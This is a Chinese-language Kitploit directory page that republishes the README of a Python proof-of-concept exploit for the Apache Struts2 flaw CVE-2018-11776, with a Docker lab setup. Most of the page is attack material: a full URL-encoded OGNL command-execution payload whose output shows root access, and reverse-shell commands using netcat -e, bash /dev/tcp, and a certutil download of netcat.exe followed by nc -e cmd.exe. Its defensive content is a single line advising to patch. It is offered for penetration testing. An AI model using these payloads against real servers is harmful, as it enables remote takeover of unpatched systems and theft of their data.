Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2018-11776-Python-PoC — 用于 CVE-2018-11776 的可运行 Python 测试与 PoC,包含 Docker 实验环境 | Kitploit
工具/GitHubGitHub/hook-s3c/cve-2018-11776-python-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试Payload 开发实验室与实践
GitHubhook-s3c/cve-2018-11776-python-poc

CVE-2018-11776-Python-PoC

用于 CVE-2018-11776 的可运行 Python 测试与 PoC,包含 Docker 实验环境

查看仓库
123497年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2018-11776-Python-PoC

hook-s3c (github.com/hook-s3c),推特:@hook_s3c

用于 CVE-2018-11776 的可运行 Python 测试与 PoC,最初发布于; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC

这是怎么回事?

Semmle 的 Man Yue Mo 披露了一个 Struts2 RCE 漏洞,该漏洞通过编码在请求 URL 路径中的载荷(payload)进行投递。

受影响版本为 2.3 至 2.3.34,以及 2.5 至 2.5.16。

默认配置并不存在漏洞,但如果配置错误……那就只能 F 了。

搭建你的 Docker 实例

exploit 在针对 cve-2017-5638 构建的 Docker 容器(struts2-showcase-2.3.12)中可以正常工作

root@kitploit:~
$ docker pull piesecurity/apache-struts2-cve-2017-5638
$ docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638

设置弱化配置

root@kitploit:~
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml 

添加下面的配置;

root@kitploit:~
<action name="help">
            <result type="redirectAction">
                    <param name="actionName">date.action</param>
            </result>
    </action>

同时还要添加;

root@kitploit:~
<struts>
  <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

重启你的 tomcat 和/或容器

root@kitploit:~
$ /usr/local/tomcat/bin/shutdown.sh

验证目标是否存在漏洞

测试该 URL,观察是否发生重定向和表达式求值;

http://0.0.0.0:32771/${2+2}/help.action > http://0.0.0.0:32771/4/date.action

使用测试脚本;

root@kitploit:~
$ ./exploitS2-057-test.py http://0.0.0.0:32771/showcase.action
testing the url for exploit; http://0.0.0.0:32771/${12612+24867}/help.action
URL http://0.0.0.0:32771/showcase.action s2-057 CVE-2018-11776 is vulnerable!

执行命令 PoC

root@kitploit:~
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'id'
[Execute]: https://raw.githubusercontent.com/hook-s3c/cve-2018-11776-python-poc/HEAD/id
[Url]: http://0.0.0.0:32771/$%7B(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D=true).(%23cmd=%27id%27).(%23iswin=(@java.lang.System@getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%23cmds=(%23iswin%3F%7B%27cmd.exe%27,%27c%27,%23cmd%7D:%7B%27bash%27,%27-c%27,%23cmd%7D)).(%23p=new%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process=%23p.start()).(%23ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(%23process.getInputStream(),%23ros)).(%23ros.flush())%7D/help.action



uid=0(root) gid=0(root) groups=0(root)

反弹 Shell

让你的机器准备好接收反弹 Shell;

root@kitploit:~
$ netcat -lvp 31337

运行脚本;

root@kitploit:~
# you'll want to install netcat
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'apt-get install netcat -y'

# now pop that shell 
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'netcat -e "$SHELL" 172.17.0.1 31337'

将 32771 替换为你映射出来的容器端口

通过 Bash 的更新方法,现已支持正斜杠。

root@kitploit:~
$ netcat -lvp 31337
root@kitploit:~
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 "/bin/bash -i >& /dev/tcp/172.17.0.1/31337 0>&1"

Windows 反弹 Shell(未经测试)

root@kitploit:~
# grab netcat binary
# https://stackoverflow.com/questions/28143160/how-can-i-download-a-file-with-batch-file-without-using-any-external-tools

$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'certutil.exe -urlcache -split -f "https://yourhostingservice.1337/files/netcat.exe" nc.exe'

# execute
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'nc.exe 172.17.0.1 31337 –e cmd.exe'

调试地狱(笔记)

所有包含正斜杠(/)的请求都会失败,因为 Tomcat 会主动拦截它们,你可能需要设法绕过这一点,例如在上面的示例中使用环境变量 $SHELL 来代替 /bin/bash。

  • https://stackoverflow.com/questions/9719224/coding-forward-and-backward-slashes-in-tomcat-7
  • http://engineering.widen.com/blog/tomcat-slashes/

考虑到这一点,Windows 的 /c 标志将无法按预期工作。我只在 Docker 容器上测试过。

更新

感谢 @Menin_TheMiddle 证明正斜杠问题是可以解决的,代码现在支持正斜杠,因此现在也可以通过 bash 实现无需 netcat 的反弹 Shell,并且现在还支持 Windows 实例(未经测试)。

缓解措施

修补你的 Struts,或者干脆别用它。

我猜如果你碰巧遭遇了数据泄露,所有客户资料都被泄漏出去,你总还能去卖身份欺诈产品!(你知道我说的是谁,绝对的渣滓)

致谢

感谢;

  • 感谢 Semmle 的 Man Yue Mo 披露该漏洞 (https://semmle.com/news/apache-struts-CVE-2018-11776)
  • 感谢 piesecurity 提供的 Dockerfile 实验环境和 OGNL 载荷示例 (https://github.com/piesecurity/apache-struts2-CVE-2017-5638)
  • 感谢 xfox64x 对该方法的分析文章 (https://github.com/xfox64x/CVE-2018-11776)
  • 感谢 jiguang7 的测试 (https://github.com/jiguang7/CVE-2018-11776)
  • 感谢 @Menin_TheMiddle 的分析文章 (https://www.secjuice.com/apache-struts2-cve-2018-11776/) 以及让我认清现实 :) 代码现在终于支持 Windows 和 bash 反弹 Shell

致敬

向 vap0rsquad 致敬!!! sH3llG0d - Willow - D@3M0¢π1 - n4t4s - 23pieces

下载工具